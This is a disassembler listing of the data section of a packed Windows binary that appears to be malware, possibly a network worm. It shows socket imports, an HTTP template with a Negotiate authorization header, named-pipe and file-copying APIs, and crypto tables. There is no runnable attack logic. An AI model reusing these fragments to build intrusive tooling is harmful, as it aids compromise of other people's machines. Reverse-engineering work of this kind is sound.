dword_4281F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40FCA7+15r
dword_4281F4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4281F8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_41448F+6Er ...
dword_4281FC dd 71AB3E00h ; resolved to->WS2_32.binddword_428200 dd 71AB88D3h ; resolved to->WS2_32.listendword_428204 dd 71AC1028h ; resolved to->WS2_32.acceptdword_428208 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40FCA7+35r ...
dword_42820C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40FCA7+41r ...
dword_428210 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40F0D3+45r ...
dword_428214 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40F6A7+1D1r
dword_428218 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40F0D3:loc_40F13Fr ...
dword_42821C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40EFE5+45r ...
dword_428220 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40EFE5+C3r ...
dword_428224 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F6A7+106r
dword_428228 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_42822C dd 71AB951Eh ; resolved to->WS2_32.getsockname dd 2 dup(0)
dword_428238 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
byte_428638 db 2Eh, 0 ; DATA XREF: sub_401AA1+342Co
; sub_401AA1+350Bo ...
word_42863A dw 2Eh ; DATA XREF: sub_401AA1+383Bo
; sub_401AA1+387Bo ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D3E0+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dbl_428678 dq 1.388888888888889e-2 ; DATA XREF: sub_40D1F5+2Fr
dbl_428680 dq 1.666666666666667e-1 ; DATA XREF: sub_40D1F5+15r
dbl_428688 dq 1.333333333333333 ; DATA XREF: sub_40D241+7Ar
dword_428690 dd 0 ; sub_40D720+57o ...
flt_428694 dd 5.0e-1 ; DATA XREF: sub_40EA40+3A5r
dbl_428698 dq 9.765625e-4 ; DATA XREF: sub_4169AB+2B8r
; sub_4169AB+2CDr ...
dbl_4286A0 dq -1.52587890625e-4 ; DATA XREF: sub_417FDF+3D3r
dbl_4286A8 dq 3.0517578125e-4 ; DATA XREF: sub_417FDF+3B4r
dbl_4286B0 dq -3.0517578125e-4 ; DATA XREF: sub_417FDF+332r
; sub_417FDF+396r
dbl_4286B8 dq 1.52587890625e-4 ; DATA XREF: sub_417FDF+26Dr
dbl_4286C0 dq -1.739501953125e-3 ; DATA XREF: sub_417FDF+248r
; sub_417FDF+2D1r ...
dbl_4286C8 dq 3.11279296875e-3 ; DATA XREF: sub_417FDF+E1r
dbl_4286D0 dq 3.0517578125e-5 ; DATA XREF: sub_417FDF+AEr
; sub_417FDF+137r ...
dbl_4286D8 dq 6.103515625e-5 ; DATA XREF: sub_417FDF+93r
; sub_417FDF+2FDr
dbl_4286E0 dq 2.288818359375e-3 ; DATA XREF: sub_417FDF+21r
dbl_4286E8 dq -3.0517578125e-5 ; DATA XREF: sub_418D19+2Br
flt_4286F0 dd 9.765625e-4 ; DATA XREF: sub_41AB47+1B0r
flt_4286F4 dd 8.0 ; DATA XREF: sub_41AB47+1AAr
flt_4286F8 dd 0.0 ; DATA XREF: sub_41AB47+16Fr
flt_4286FC dd 1.0e-3 ; DATA XREF: sub_41AB47+166r
dbl_428700 dq 1.0 ; DATA XREF: sub_41CCE5+6Cr
; sub_41CE2B+6Cr ...
dword_428708 dd 0FFFFFFFFh, 41E0AAh, 41E0BEha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E32A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E32A+4Fo
align 4
byte_428744 db 6 ; DATA XREF: sub_41FD3F:loc_41FD96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull_0: ; DATA XREF: .XPack0:off_43F834o
unicode 0, <(null)>,0
align 10h
aNull_1 db '(null)',0 ; DATA XREF: .XPack0:off_43F830o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .XPack0:off_43FAACo
dbl_428868 dq 0.0 ; DATA XREF: sub_4219FF+8Cr
; sub_4219FF+ACr ...
dbl_428870 dq 4.195835e6 ; DATA XREF: sub_421F14+Fr
dbl_428878 dq 3.145727e6 ; DATA XREF: sub_421F14+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421F52+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_421F52o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_422079+93o
align 10h
dword_4288B0 dd 0FFFFFFFFh, 422764h, 42276Eh, 0dword_4288C0 dd 0FFFFFFFFh, 0 dd offset loc_4228EA
align 10h
dd offset sub_4228C8
dd offset sub_4228D2
dword_4288D8 dd 0FFFFFFFFh, 422B1Ah, 422B1Eh, 0dword_4288E8 dd 0FFFFFFFFh, 422B7Ch, 422B85h, 0dword_4288F8 dd 0FFFFFFFFh, 0 dd offset loc_422C4D
align 8
dd offset loc_422C39
dd offset loc_422C3D
dword_428910 dd 0FFFFFFFFh, 0 dd offset loc_422CA3
align 10h
dd offset loc_422C8F
dd offset loc_422C93
dword_428928 dd 2 dup(0) ; sub_4243B4+39o ...
dword_428930 dd 0FFFFFFFFh, 42327Ah, 42327Eh, 0FFFFFFFFh, 42332Eh, 423332h
; DATA XREF: sub_42316A+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .XPack0:off_43FC7Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423C91+119o
align 4
asc_428BF8 db 0Ah ; DATA XREF: sub_423C91+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423C91+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_423C91+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423C91+7Do
align 8
dword_428C38 dd 0FFFFFFFFh, 4244ADh, 4244B1haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_424EBC+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425448+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425448+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425448+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425D92:loc_425E87o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_425D92+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425D92+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425D92+ADo
align 4
dword_428CD8 dd 0FFFFFFFFh, 42678Ah, 42678Eh, 0FFFFFFFFh, 4267F9h, 4267FDh
; DATA XREF: sub_4265D3+5o
dd 428E14h
off_428CF4 dd offset loc_426B92 ; DATA XREF: sub_426B6A+8o
; sub_426BAE+2Co ...
dd offset sub_426B85
dd offset sub_426DA6
dd offset dword_428E60
off_428D04 dd offset sub_426BFC ; DATA XREF: sub_426BAE+3Ao
; sub_426C18o ...
dd offset sub_426B85
dd offset loc_426DE2
dword_428D10 dd 0 ; sub_426C80+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426C23+11o
dd offset dword_428EAC
off_428D30 dd offset sub_426D0B ; DATA XREF: sub_426D27o
; sub_426D4A+37o ...
dd offset sub_426B85
dd offset loc_426DC4
aStringTooLong db 'string too long',0 ; DATA XREF: sub_426D4A+11o
dd offset dword_428EF0
off_428D50 dd offset loc_426F2A ; DATA XREF: sub_426F15o
; .XPack0:off_4403A4o ...
dd offset dword_428F20
off_428D58 dd offset loc_426F46 ; DATA XREF: sub_426F62+8o
; sub_426F9F+8o ...
; ---------------------------------------------------------------------------
jmp fword ptr [edi+42h]
; ---------------------------------------------------------------------------
align 10h
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .XPack0:00427006o
align 8
dword_428D78 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
dword_428D98 dd 0FFFFFFFFh, 4271BDh, 4271C1h, 0FFFFFFFFh, 42723Ah, 42723Eh
; DATA XREF: sub_4270BB+5o
dword_428DB0 dd 0FFFFFFFFh, 427432h, 427436h, 0FFFFFFFFh, 42748Fh, 427493h
; DATA XREF: sub_427346+5o
dd 4403A4h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_428DE0 dd offset off_4403BC ; DATA XREF: .XPack0:00428DF8o
; .XPack0:00428E44o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428DE0
dd offset dword_428DB0+18h
dword_428E00 dd 3 dup(0) dd 2, 428DF8h, 3 dup(0)
dd offset off_4403BC
dd offset dword_428E00+4
off_428E28 dd offset off_4403DC ; DATA XREF: .XPack0:00428E40o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428E28
dd offset off_428DE0
dd offset dword_428DB0+18h
dword_428E4C dd 3 dup(0) dd 3, 428E40h
dword_428E60 dd 3 dup(0) dd offset off_4403DC
dd offset dword_428E4C+4
off_428E74 dd offset off_4403FC ; DATA XREF: .XPack0:00428E8Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428E74
dd offset off_428DE0
dd offset dword_428DB0+18h
dword_428E98 dd 3 dup(0) dd 3, 428E8Ch
dword_428EAC dd 3 dup(0) dd offset off_4403FC
dd offset dword_428E98+4
off_428EC0 dd offset off_440420 ; DATA XREF: .XPack0:00428ED8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428EC0
dword_428EDC dd 3 dup(0) dd 1, 428ED8h
dword_428EF0 dd 3 dup(0) dd offset off_440420
dd offset dword_428EDC+4
dd offset dword_428DB0+18h
dword_428F08 dd 4 dup(0) dd 1, 428F04h
dword_428F20 dd 3 dup(0) dd offset off_4403A4
dd offset dword_428F08+8
dd 0FFFFFFFFh, 427514h, 0
dd offset sub_42750C
dword_428F44 dd 19930520h, 2, 428F34h, 4 dup(0) dd 0FFFFFFFFh, 427538h, 0
dd offset loc_427540
dword_428F70 dd 19930520h, 2, 428F60h, 4 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_40D986
dd 2 dup(0)
dd 2 dup(1), 428F9Ch
dword_428FC0 dd 19930520h, 2, 428F8Ch, 1, 428FACh, 2 dup(0)
; DATA XREF: .XPack0:loc_427554o
dd 0FFFFFFFFh, 42755Eh
dword_428FE4 dd 19930520h, 1, 428FDCh, 5 dup(0) dd offset off_4403A4
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 426F9Fh, 0
dd offset off_4403BC
align 8
dd 0FFFFFFFFh, 0
dd 1Ch, 426CC8h, 0
dd offset off_4403DC
dword_429040 dd 0 dd 0FFFFFFFFh, 0
dword_42904C dd 1Ch, 426D32h, 3, 429038h, 42901Ch, 429000hdword_429064 dd 0 ; sub_426DA6+4Bo
dd offset sub_426C18
align 10h
dd offset dword_42904C+8
dd 0FFFFFFFFh, 427570h
dword_42907C dd 19930520h, 1, 429074h, 4 dup(0) dd 0FFFFFFFFh, 427582h
dword_4290A0 dd 19930520h, 1, 429098h, 4 dup(0) dd 0FFFFFFFFh, 427594h
dword_4290C4 dd 19930520h, 1, 4290BCh, 5 dup(0) dd offset off_4403FC
dd 0
dd 0FFFFFFFFh, 0
dword_4290F4 dd 1Ch, 426D8Eh, 3, 4290E0h, 42901Ch, 429000hdword_42910C dd 0 ; sub_426DA6+2Do
dd offset sub_426D27
align 8
dd offset dword_4290F4+8
dd 0FFFFFFFFh, 4275A6h
dword_429124 dd 19930520h, 1, 42911Ch, 4 dup(0)dword_429140 dd 2, 42901Ch, 429000hdword_42914C dd 0 dd offset sub_426B6A
align 8
dd offset dword_429140
dd 3 dup(0)
dd offset word_4293DA
dd offset dword_4281DC
dd 3 dup(0)
dd offset word_429C66
dd offset dword_428000
dd 92h dup(0)
dd 53570000h, 636F5341h, 4174656Bh
db 2 dup(0)
word_4293DA dw 5357h ; DATA XREF: .XPack0:00429168o
dd 32335F32h, 6C6C642Eh, 45560000h, 4F495352h, 6C642E4Eh
dd 6Ch, 74697845h, 636F7250h, 737365h, 6C430000h, 4865736Fh
dd 6C646E61h, 65h, 61657243h, 72506574h, 7365636Fh, 4173h
dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
aGetsystemdirec db 'GetSystemDirectoryA',0
dd 6C530000h, 706565h, 72430000h, 65746165h, 65726854h
dd 6461h, 65440000h, 6574656Ch, 656C6946h, 41h, 6E65704Fh
dd 636F7250h, 737365h, 65470000h, 72754374h, 746E6572h
dd 636F7250h, 49737365h, 64h, 4C746547h, 45747361h, 726F7272h
dd 0
aCopyfilea db 'CopyFileA',0
align 4
aSetfileattribu db 'SetFileAttributesA',0
align 4
dd 65470000h, 6C694674h, 74744165h, 75626972h, 41736574h
dd 0
aGetmodulehandl db 'GetModuleHandleA',0
align 4
aWaitforsingleo db 'WaitForSingleObject',0
dd 72430000h, 65746165h, 6574754Dh, 4178h, 65470000h, 63695474h
dd 756F436Bh, 746Eh, 65540000h, 6E696D72h, 54657461h, 61657268h
dd 64h, 54746547h, 50706D65h, 41687461h, 0
aMovefilea db 'MoveFileA',0
align 4
aLoadlibrarya db 'LoadLibraryA',0
align 4
aGetprocaddress db 'GetProcAddress',0
align 4
dd 65470000h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65470000h
dd 636F4C74h, 49656C61h, 416F666Eh, 0
aGetversionexa db 'GetVersionExA',0
align 10h
aExitthread db 'ExitThread',0
align 4
dd 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h
dd 6E6Fh, 6E490000h, 61697469h, 657A696Ch, 74697243h, 6C616369h
dd 74636553h, 416E6F69h, 7053646Eh, 6F436E69h, 746E75h
dd 65440000h, 6574656Ch, 74697243h, 6C616369h, 74636553h
dd 6E6F69h, 754D0000h, 4269746Ch, 54657479h, 6469576Fh
dd 61684365h, 72h, 64616552h, 656C6946h, 0
aWritefile db 'WriteFile',0
align 4
aTransactnamedp db 'TransactNamedPipe',0
align 10h
aCreatefilea db 'CreateFileA',0
dd 72430000h, 65746165h, 6E657645h, 4174h, 65540000h, 6E696D72h
dd 50657461h, 65636F72h, 7373h, 75440000h, 63696C70h, 48657461h
dd 6C646E61h, 65h, 43746547h, 65727275h, 7250746Eh, 7365636Fh
dd 73h, 61657243h, 69506574h, 6570h, 65470000h, 6D695474h
dd 726F4665h, 4174616Dh, 0
aGetdateformata db 'GetDateFormatA',0
align 4
dd 65470000h, 6C694674h, 7A695365h, 65h, 646E6946h, 736F6C43h
dd 65h, 656C6946h, 656D6954h, 79536F54h, 6D657473h, 656D6954h
dd 0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
dd 69460000h, 654E646Eh, 69467478h, 41656Ch, 69460000h
dd 6946646Eh, 46747372h, 41656C69h, 0
aSetfilepointer db 'SetFilePointer',0
align 4
dd 65530000h, 6E6F4374h, 656C6F73h, 6C727443h, 646E6148h
dd 72656Ch, 61570000h, 6F467469h, 6C754D72h, 6C706974h
dd 6A624F65h, 73746365h, 0
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 4
aQueryperform_1 db 'QueryPerformanceCounter',0
dd 75510000h, 50797265h, 6F667265h, 6E616D72h, 72466563h
dd 65757165h, 79636Eh, 65470000h, 636F4C74h, 69546C61h
dd 656Dh, 72460000h, 694C6565h, 72617262h, 79h, 45746547h
dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 57656Ch
dd 65480000h, 72467061h, 6565h, 65480000h, 6C417061h, 636F6Ch
dd 65470000h, 6F725074h, 73736563h, 70616548h, 0
aVirtualqueryex db 'VirtualQueryEx',0
align 10h
dd 65520000h, 72506461h, 7365636Fh, 6D654D73h, 79726Fh
dd 65470000h, 73795374h, 496D6574h, 6F666Eh, 6F460000h
dd 74616D72h, 7373654Dh, 41656761h, 0
aGlobalunlock db 'GlobalUnlock',0
align 4
aGloballock db 'GlobalLock',0
align 4
dd 6E550000h, 5670616Dh, 4F776569h, 6C694666h, 65h, 5670614Dh
dd 4F776569h, 6C694666h, 65h, 61657243h, 69466574h, 614D656Ch
dd 6E697070h, 4167h, 65530000h, 6C694674h, 6D695465h, 65h
dd 46746547h, 54656C69h, 656D69h, 78450000h, 646E6170h
dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
dd 65h, 7274736Ch, 69706D63h, 41h, 45746547h, 43746978h
dd 5065646Fh, 65636F72h, 7373h, 65500000h, 614E6B65h, 5064656Dh
dd 657069h, 65470000h, 676F4C74h, 6C616369h, 76697244h
dd 7365h, 6C470000h, 6C61626Fh, 6F6D654Dh, 74537972h, 73757461h
dd 0
aHeaprealloc db 'HeapReAlloc',0
dd 74520000h, 776E556Ch, 646E69h, 65470000h, 6D695474h
dd 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h, 0
aGetsystemtime db 'GetSystemTime',0
align 4
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
dd 69737265h, 6E6Fh, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
dd 69726156h, 656C6261h, 41h, 70616548h, 74736544h, 796F72h
dd 65480000h, 72437061h, 65746165h, 0
aVirtualfree db 'VirtualFree',0
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 73490000h, 57646142h
dd 65746972h, 727450h, 65470000h, 49504374h, 6F666Eh, 65470000h
dd 50434174h, 0
aGetoemcp db 'GetOEMCP',0
align 4
aRaiseexception db 'RaiseException',0
align 4
dd 65480000h, 69537061h, 657Ah, 434C0000h, 5370614Dh, 6E697274h
dd 4167h, 434C0000h, 5370614Dh, 6E697274h, 5767h, 6E550000h
dd 646E6168h, 4564656Ch, 70656378h, 6E6F6974h, 746C6946h
dd 7265h, 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
dd 73676E69h, 41h, 65657246h, 69766E45h, 6D6E6F72h, 53746E65h
dd 6E697274h, 577367h, 65470000h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 73676Eh, 65470000h, 766E4574h
dd 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount db 'SetHandleCount',0
align 4
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
dd 70795465h, 65h, 53746553h, 61486474h, 656C646Eh, 0
aFlushfilebuffe db 'FlushFileBuffers',0
align 4
aGetstringtypea db 'GetStringTypeA',0
align 4
dd 65470000h, 72745374h, 54676E69h, 57657079h, 0
aSetunhandledex db 'SetUnhandledExceptionFilter',0
dd 73490000h, 52646142h, 50646165h, 7274h, 73490000h, 43646142h
dd 5065646Fh, 7274h, 65530000h, 646E4574h, 6946664Fh, 656Ch
dd 6F430000h, 7261706Dh, 72745365h, 41676E69h, 0
aComparestringw db 'CompareStringW',0
align 4
dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h
dd 656C6261h
db 41h, 0
word_429C66 dw 454Bh ; DATA XREF: .XPack0:0042917Co
dd 4C454E52h, 642E3233h, 6C6Ch, 0E3h dup(0)
dword_42A000 dd 0 dd offset loc_401202
dd offset sub_40DA34
dd offset sub_40E93F
dd offset sub_40F3E9
dword_42A014 dd 0 dword_42A018 dd 0 ; ---------------------------------------------------------------------------
retn 41D6h
; ---------------------------------------------------------------------------
align 10h
dd offset sub_42090D
dd offset sub_423FFE
dd offset sub_424E22
dword_42A02C dd 0 dword_42A030 dd 0 dd offset sub_4240A3
dword_42A038 dd 0 dword_42A03C dd 0 dd offset sub_424E33
dword_42A044 dd 3 dup(0) dword_42A050 dd 80000002h off_42A054 dd offset byte_42AACC ; DATA XREF: sub_401000+1Er
dd 80000002h, 42AAFCh, 80000001h, 42AACCh
dword_42A068 dd 6272h, 0 ; sub_40FD24+24o ...
dd 20001h, 80004h, 200010h, 800040h, 800000h, 400000h
dd 200000h, 100000h, 80000h, 40000h, 20000h, 10000h, 8000h
dd 4000h, 2000h, 1000h, 800h, 400h, 200h, 100h, 80h, 40h
dd 20h, 10h, 8, 4, 2, 1, 20283038h, 81018h, 21293139h
dd 1091119h, 222A323Ah, 20A121Ah, 232B333Bh, 262E363Eh
dd 60E161Eh, 252D353Dh, 50D151Dh, 242C343Ch, 40C141Ch
dd 30B131Bh, 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h
dd 170A100Dh, 1B020400h, 914050Eh, 30B1216h, 60F0719h
dd 10C131Ah, 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh
dd 292D3421h, 1F1C2331h, 1010400h, 0
dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4, 1010000h
dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
dd 1000004h, 400h, 4, 1000404h, 10404h, 1010404h, 10004h
dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
dd 404h, 2 dup(1000400h), 0
dd 10004h, 10400h, 0
dd 1010004h, 80108020h, 80008000h, 8000h, 108020h, 100000h
